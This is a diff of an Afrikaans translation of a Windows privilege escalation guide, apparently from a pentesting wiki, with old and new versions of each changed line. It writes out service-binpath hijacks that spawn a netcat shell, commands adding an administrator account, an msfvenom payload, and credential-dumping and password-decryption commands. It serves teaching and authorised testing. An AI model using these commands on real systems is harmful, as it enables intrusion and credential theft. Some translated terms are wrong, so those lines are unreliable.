'n **Plaaslike privilege eskalasie** kwesbaarheid bestaan in Windows **domein** omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP-handtekening nie afgedwing word nie,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om te noem dat hierdie **vereistes** nagekom word met **standaardinstellings**.
|
||||
'n **Plaaslike privilige-escalasie** kwesbaarheid bestaan in Windows **domein** omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP-handtekening nie afgedwing word nie,** gebruikers self-regte het wat hulle toelaat om **Hulpbron-gebaseerde Beperkte Delegasie (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om te noem dat hierdie **vereistes** nagekom word met **standaardinstellings**.
|
||||
|
||||
Vind die **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
Vind die **eksploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
Vir meer inligting oor die vloei van die aanval, kyk [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||||
|
||||
## AlwaysInstallElevated
|
||||
|
||||
**As** hierdie 2 registers **geaktiveer** is (waarde is **0x1**), kan gebruikers van enige privilege `*.msi` lêers as NT AUTHORITY\\**SYSTEM** **installeer** (uitvoer).
|
||||
**As** hierdie 2 registers **geaktiveer** is (waarde is **0x1**), kan gebruikers van enige privilige `*.msi` lêers as NT AUTHORITY\\**SYSTEM** **installeer** (uitvoer).
|
||||
```bash
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
@ -208,11 +208,11 @@ As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomaties uitvoer met d
|
||||
|
||||
### PowerUP
|
||||
|
||||
Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf saamgestelde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
|
||||
Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf-gecompileerde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
Voer eenvoudig die geskepte binêre uit om voorregte te verhoog.
|
||||
Net die geskepte binêre uitvoer om voorregte te verhoog.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
@ -234,7 +234,7 @@ create-msi-with-wix.md
|
||||
- Maak **Visual Studio** oop, kies **Skep 'n nuwe projek** en tik "installer" in die soekboks. Kies die **Setup Wizard** projek en klik **Volgende**.
|
||||
- Gee die projek 'n naam, soos **AlwaysPrivesc**, gebruik **`C:\privesc`** vir die ligging, kies **plaas oplossing en projek in dieselfde gids**, en klik **Skep**.
|
||||
- Hou aan om **Volgende** te klik totdat jy by stap 3 van 4 kom (kies lêers om in te sluit). Klik **Voeg by** en kies die Beacon payload wat jy pas gegenereer het. Klik dan op **Voltooi**.
|
||||
- Beklemtoon die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Eienskappe**, verander **TargetPlatform** van **x86** na **x64**.
|
||||
- Beklemtoon die **AlwaysPrivesc** projek in die **Oplossing Verkenner** en in die **Eienskappe**, verander **TargetPlatform** van **x86** na **x64**.
|
||||
- Daar is ander eienskappe wat jy kan verander, soos die **Skrywer** en **Fabrikant** wat die geïnstalleerde app meer wettig kan laat lyk.
|
||||
- Regsklik op die projek en kies **Kyk > Aangepaste Aksies**.
|
||||
- Regsklik op **Installeer** en kies **Voeg Aangepaste Aksie by**.
|
||||
@ -251,7 +251,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
Om hierdie kwesbaarheid te benut, kan jy gebruik maak van: _exploit/windows/local/always_install_elevated_
|
||||
|
||||
## Antivirus en Detectors
|
||||
## Antivirus en Detektore
|
||||
|
||||
### Ouditinstellings
|
||||
|
||||
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** is ontwerp vir die **bestuur van plaaslike Administrateur wagwoorde**, wat verseker dat elke wagwoord **uniek, ewekansig, en gereeld opgedateer** word op rekenaars wat aan 'n domein gekoppel is. Hierdie wagwoorde word veilig gestoor binne Active Directory en kan slegs deur gebruikers wat voldoende regte deur ACLs toegeken is, toegang verkry, wat hulle toelaat om plaaslike admin wagwoorde te sien indien gemagtig.
|
||||
**LAPS** is ontwerp vir die **bestuur van plaaslike Administrateur wagwoorde**, wat verseker dat elke wagwoord **uniek, ewekansig, en gereeld opgedateer** word op rekenaars wat aan 'n domein gekoppel is. Hierdie wagwoorde word veilig binne Active Directory gestoor en kan slegs deur gebruikers wat voldoende regte deur ACLs toegeken is, toegang verkry, wat hulle toelaat om plaaslike admin wagwoorde te sien indien gemagtig.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -282,14 +282,14 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA-beskerming
|
||||
|
||||
Beginning met **Windows 8.1**, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) bekendgestel om **te blokkeer** pogings deur onbetroubare prosesse om **sy geheue** te **lees** of kode in te spuit, wat die stelsel verder beveilig.\
|
||||
Begin met **Windows 8.1**, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsgesag (LSA) bekendgestel om pogings deur onbetroubare prosesse te **blokkeer** om **sy geheue** te **lees** of kode in te spuit, wat die stelsel verder beveilig.\
|
||||
[**Meer inligting oor LSA-beskerming hier**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Kredensiaalwag
|
||||
### Credentials Guard
|
||||
|
||||
**Kredensiaalwag** is in **Windows 10** bekendgestel. Die doel daarvan is om die kredensiale wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| [**Meer inligting oor Kredensiaalwag hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** is in **Windows 10** bekendgestel. Die doel daarvan is om die geloofsbriewe wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| [**Meer inligting oor Credentials Guard hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Som gebruikers & groepe op
|
||||
|
||||
Jy moet kyk of enige van die groepe waartoe jy behoort interessante regte het
|
||||
Jy moet nagaan of enige van die groepe waartoe jy behoort interessante regte het
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -354,12 +354,12 @@ net accounts
|
||||
```bash
|
||||
powershell -command "Get-Clipboard"
|
||||
```
|
||||
## Hardloopprosesse
|
||||
## Hardloopproses
|
||||
|
||||
### Lêer- en Gidspermitte
|
||||
|
||||
Eerstens, lys die prosesse **kyk vir wagwoorde binne die opdraglyn van die proses**.\
|
||||
Kyk of jy **'n sekere binêre wat loop kan oorskryf** of as jy skrywepermitte van die binêre gids het om moontlike [**DLL Hijacking-aanvalle**](dll-hijacking/) te benut:
|
||||
Kyk of jy kan **oorwrite van 'n binêre wat loop** of as jy skrywepermitte van die binêre gids het om moontlike [**DLL Hijacking-aanvalle**](dll-hijacking/) te benut:
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -372,7 +372,7 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om privilige te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**Kontroleer toestemmings van die prosesse se binaire lêers**
|
||||
**Kontroleer toestemmings van die prosesse se binaire**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||||
@ -391,15 +391,15 @@ todos %username%" && echo.
|
||||
```
|
||||
### Geheue Wagwoord mynbou
|
||||
|
||||
Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **bewyse in duidelike teks in geheue**, probeer om die geheue te dump en die bewese te lees.
|
||||
Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **akkrediteer in duidelike teks in geheue**, probeer om die geheue te dump en die akkrediteer te lees.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
### Onveilige GUI-apps
|
||||
|
||||
**Toepassings wat as SYSTEM loop, mag 'n gebruiker toelaat om 'n CMD te genereer, of om gidsen te blaai.**
|
||||
**Toepassings wat as SYSTEM loop, mag 'n gebruiker toelaat om 'n CMD te spawn, of om gidse te blaai.**
|
||||
|
||||
Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt"
|
||||
Voorbeeld: "Windows Help and Support" (Windows + F1), soek vir "command prompt", klik op "Click to open Command Prompt"
|
||||
|
||||
## Dienste
|
||||
|
||||
@ -433,7 +433,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
|
||||
As jy hierdie fout het (byvoorbeeld met SSDPSRV):
|
||||
|
||||
_Systeemfout 1058 het voorgekom._\
|
||||
_Sisteemfout 1058 het voorgekom._\
|
||||
&#xNAN;_Tdie diens kan nie begin word nie, hetsy omdat dit gedeaktiveer is of omdat daar geen geaktiveerde toestelle aan dit gekoppel is nie._
|
||||
|
||||
Jy kan dit aktiveer deur
|
||||
@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
|
||||
```
|
||||
### **Wysig diens binaire pad**
|
||||
|
||||
In die scenario waar die "Geoutentiseerde gebruikers" groep **SERVICE_ALL_ACCESS** op 'n diens besit, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer:
|
||||
In die scenario waar die "Geoutentiseerde gebruikers" groep **SERVICE_ALL_ACCESS** op 'n diens het, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer:
|
||||
```bash
|
||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||
@ -499,7 +499,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
|
||||
|
||||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||||
```
|
||||
Daar moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl` regte het. Indien wel, kan die binêre wat deur die diens uitgevoer word, verander word.
|
||||
Daar moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl` toestemmings het. Indien wel, kan die binêre wat deur die diens uitgevoer word, verander word.
|
||||
|
||||
Om die pad van die uitgevoerde binêre te verander:
|
||||
```bash
|
||||
@ -549,13 +549,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Herstelaksies
|
||||
|
||||
Windows laat gebruikers toe om aksies spesifiek aan te dui wat geneem moet word as 'n diens misluk. Hierdie funksie kan geconfigureer word om na 'n binêre te verwys. As hierdie binêre vervangbaar is, mag privilige-escalasie moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows laat gebruikers toe om aksies spesifiek aan te dui wat geneem moet word as 'n diens misluk. Hierdie kenmerk kan geconfigureer word om na 'n binêre te verwys. As hierdie binêre vervangbaar is, mag privaatheidsverhoging moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Toepassings
|
||||
|
||||
### Gemonteerde Toepassings
|
||||
|
||||
Kontroleer **toestemmings van die binêre** (miskien kan jy een oorskryf en privilige verhoog) en van die **mappes** ([DLL Hijacking](dll-hijacking/)).
|
||||
Kontroleer **toestemmings van die bineres** (miskien kan jy een oorskryf en privaatheidsverhoging bewerkstellig) en van die **mappies** ([DLL Hijacking](dll-hijacking/)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -650,7 +650,7 @@ Kyk vir **beperkte dienste** van buite
|
||||
```bash
|
||||
netstat -ano #Opened ports?
|
||||
```
|
||||
### Routeringstabel
|
||||
### Routering Tabel
|
||||
```
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||||
@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
|
||||
```
|
||||
Binêre `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||||
|
||||
As jy root gebruiker kry, kan jy op enige poort luister (die eerste keer wat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via GUI vra of `nc` deur die firewall toegelaat moet word).
|
||||
As jy root gebruiker kry, kan jy op enige poort luister (die eerste keer dat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via GUI vra of `nc` deur die firewall toegelaat moet word).
|
||||
```bash
|
||||
wsl whoami
|
||||
./ubuntun1604.exe config --default-user root
|
||||
@ -682,7 +682,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||||
```
|
||||
Om maklik bash as root te begin, kan jy probeer `--default-user root`
|
||||
|
||||
Jy kan die `WSL` lêerstelsel in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` verken
|
||||
Jy kan die `WSL` lêerstelsel verken in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
|
||||
|
||||
## Windows Kredensiale
|
||||
|
||||
@ -727,11 +727,11 @@ Let wel dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
|
||||
|
||||
### DPAPI
|
||||
|
||||
Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling benut 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
|
||||
Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling maak gebruik van 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
|
||||
|
||||
**DPAPI stel die versleuteling van sleutels in staat deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsels versleuteling betrek, gebruik dit die stelsels domeinverifikasie geheime.
|
||||
|
||||
Versleutelde gebruiker RSA sleutels, deur die gebruik van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om te noem dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
|
||||
Versleutelde gebruiker RSA sleutels, deur die gebruik van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om op te let dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell Kredensiale
|
||||
|
||||
**PowerShell kredensiale** word dikwels gebruik vir **scripting** en outomatisering take as 'n manier om versleutelde kredensiale gerieflik te stoor. Die kredensiale word beskerm deur **DPAPI**, wat tipies beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waar dit geskep is, gedekript kan word.
|
||||
**PowerShell kredensiale** word dikwels gebruik vir **scripting** en outomatisering take as 'n manier om versleutelde kredensiale gerieflik te stoor. Die kredensiale word beskerm met **DPAPI**, wat tipies beteken dat dit slegs deur dieselfde gebruiker op dieselfde rekenaar waar dit geskep is, gedekript kan word.
|
||||
|
||||
Om 'n PS kredensiaal uit die lêer wat dit bevat te **dekripteer**, kan u doen:
|
||||
```powershell
|
||||
@ -776,7 +776,7 @@ netsh wlan show profile <SSID> key=clear
|
||||
#Oneliner to extract all wifi passwords
|
||||
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
|
||||
```
|
||||
### Gesteekte RDP Verbindinge
|
||||
### Gesteunde RDP Verbindinge
|
||||
|
||||
Jy kan hulle vind op `HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\`\
|
||||
en in `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||||
@ -795,13 +795,13 @@ Jy kan **baie DPAPI masterkeys** uit geheue onttrek met die Mimikatz `sekurlsa::
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
Mense gebruik dikwels die StickyNotes-app op Windows werkstasies om **wagwoorde** en ander inligting te **stoor**, sonder om te besef dit is 'n databasislêer. Hierdie lêer is geleë by `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en dit is altyd die moeite werd om daarna te soek en dit te ondersoek.
|
||||
Mense gebruik dikwels die StickyNotes-app op Windows werkstasies om **wagwoorde** en ander inligting te **stoor**, sonder om te besef dit is 'n databasislêer. Hierdie lêer is geleë by `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en is altyd die moeite werd om te soek en te ondersoek.
|
||||
|
||||
### AppCmd.exe
|
||||
|
||||
**Let daarop dat jy Administrator moet wees en onder 'n Hoë Integriteit vlak moet loop om wagwoorde van AppCmd.exe te herstel.**\
|
||||
**Let daarop dat jy Administrator moet wees en onder 'n Hoë Integriteitsvlak moet loop om wagwoorde van AppCmd.exe te herstel.**\
|
||||
**AppCmd.exe** is geleë in die `%systemroot%\system32\inetsrv\` gids.\
|
||||
As hierdie lêer bestaan, dan is dit moontlik dat sommige **akkrediteer** geconfigureer is en **herstel** kan word.
|
||||
As hierdie lêer bestaan, is dit moontlik dat sommige **akkrediteer** geconfigureer is en **herstel** kan word.
|
||||
|
||||
Hierdie kode is onttrek uit [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
```bash
|
||||
@ -884,7 +884,7 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan.\
|
||||
Installeerders word **met SYSTEM regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Installeerders word **met SYSTEM-regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
@ -909,14 +909,14 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik 'n gestoor SSH-sleutel wees. Dit word versleuteld gestoor, maar kan maklik ontcijfer word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties begin by opstart, voer in:
|
||||
As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties begin by opstart, voer die volgende uit:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, hulle by te voeg met `ssh-add` en via ssh in te log op 'n masjien. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutelverifikasie geïdentifiseer nie.
|
||||
> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, dit by `ssh-add` te voeg en via ssh na 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutelverifikasie geïdentifiseer.
|
||||
|
||||
### Onbewaakte lêers
|
||||
### Onbeheerde lêers
|
||||
```
|
||||
C:\Windows\sysprep\sysprep.xml
|
||||
C:\Windows\sysprep\sysprep.inf
|
||||
@ -978,9 +978,9 @@ Soek vir 'n lêer genaamd **SiteList.xml**
|
||||
|
||||
### Gekapte GPP Wagwoord
|
||||
|
||||
'n Kenmerk was voorheen beskikbaar wat die ontplooiing van pasgemaakte plaaslike administrateur rekeninge op 'n groep masjiene via Groep Beleid Voorkeure (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsfoute gehad. Eerstens, die Groep Beleid Objekte (GPO's), gestoor as XML-lêers in SYSVOL, kon deur enige domein gebruiker toegang verkry word. Tweedens, die wagwoorde binne hierdie GPP's, geënkripteer met AES256 met 'n publiek gedokumenteerde standaard sleutel, kon deur enige geverifieerde gebruiker ontcijfer word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers in staat kon stel om verhoogde bevoegdhede te verkry.
|
||||
'n Kenmerk was voorheen beskikbaar wat die ontplooiing van pasgemaakte plaaslike administrateur rekeninge op 'n groep masjiene via Groep Beleid Voorkeure (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsfoute gehad. Eerstens, die Groep Beleid Voorwerpe (GPO's), gestoor as XML-lêers in SYSVOL, kon deur enige domein gebruiker toegang verkry word. Tweedens, die wagwoorde binne hierdie GPP's, geënkripteer met AES256 met 'n publiek gedokumenteerde standaard sleutel, kon deur enige geverifieerde gebruiker ontcijfer word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers in staat kon stel om verhoogde bevoegdhede te verkry.
|
||||
|
||||
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer vir plaaslik gekapte GPP-lêers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontcijfer die funksie die wagwoord en keer 'n pasgemaakte PowerShell objek terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en herstel van hierdie sekuriteitskwesbaarheid.
|
||||
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer vir plaaslik gekapte GPP-lêers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontcijfer die funksie die wagwoord en keer 'n pasgemaakte PowerShell objek terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en remediëring van hierdie sekuriteitskwesbaarheid.
|
||||
|
||||
Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor W Vista)_ vir hierdie lêers:
|
||||
|
||||
@ -996,7 +996,7 @@ Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents an
|
||||
#To decrypt these passwords you can decrypt it using
|
||||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||||
```
|
||||
Gebruik crackmapexec om die wagwoorde te kry:
|
||||
Gebruik crackmapexec om die wagwoorde te verkry:
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||||
```
|
||||
@ -1139,9 +1139,9 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
|
||||
```
|
||||
### Kredensiale in die Herwinningsblik
|
||||
|
||||
Jy moet ook die Blik nagaan om te kyk vir kredensiale daarin
|
||||
Jy moet ook die Blik nagaan om na kredensiale daarin te soek.
|
||||
|
||||
Om **wagwoorde** wat deur verskeie programme gestoor is te herstel, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
Om **wagwoorde** wat deur verskeie programme gestoor is, te herstel, kan jy gebruik maak van: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
|
||||
### Binne die registrasie
|
||||
|
||||
@ -1168,11 +1168,11 @@ Gereedskap om wagwoorde uit blaaiers te onttrek:
|
||||
|
||||
### **COM DLL Oorskrywing**
|
||||
|
||||
**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **onderlinge kommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
|
||||
**Component Object Model (COM)** is 'n tegnologie wat binne die Windows-bedryfstelsel gebou is wat **interkommunikasie** tussen sagtewarekomponente van verskillende tale toelaat. Elke COM-komponent is **geïdentifiseer deur 'n klas ID (CLSID)** en elke komponent stel funksionaliteit bloot deur een of meer interfaces, geïdentifiseer deur interface IDs (IIDs).
|
||||
|
||||
COM klasse en interfaces word in die registrasie onder **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en **HKEY\_**_**CLASSES\_**_**ROOT\Interface** onderskeidelik gedefinieer. Hierdie registrasie word geskep deur die **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
COM klasse en interfaces is in die registrasie gedefinieer onder **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en **HKEY\_**_**CLASSES\_**_**ROOT\Interface** onderskeidelik. Hierdie registrasie word geskep deur die **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Binne die CLSIDs van hierdie registrasie kan jy die kind registrasie **InProcServer32** vind wat 'n **standaardwaarde** bevat wat na 'n **DLL** verwys en 'n waarde genaamd **ThreadingModel** wat **Apartment** (Enkel-Draad), **Free** (Meervoudige-Draad), **Both** (Enkel of Meervoudig) of **Neutral** (Draad Neutraal) kan wees.
|
||||
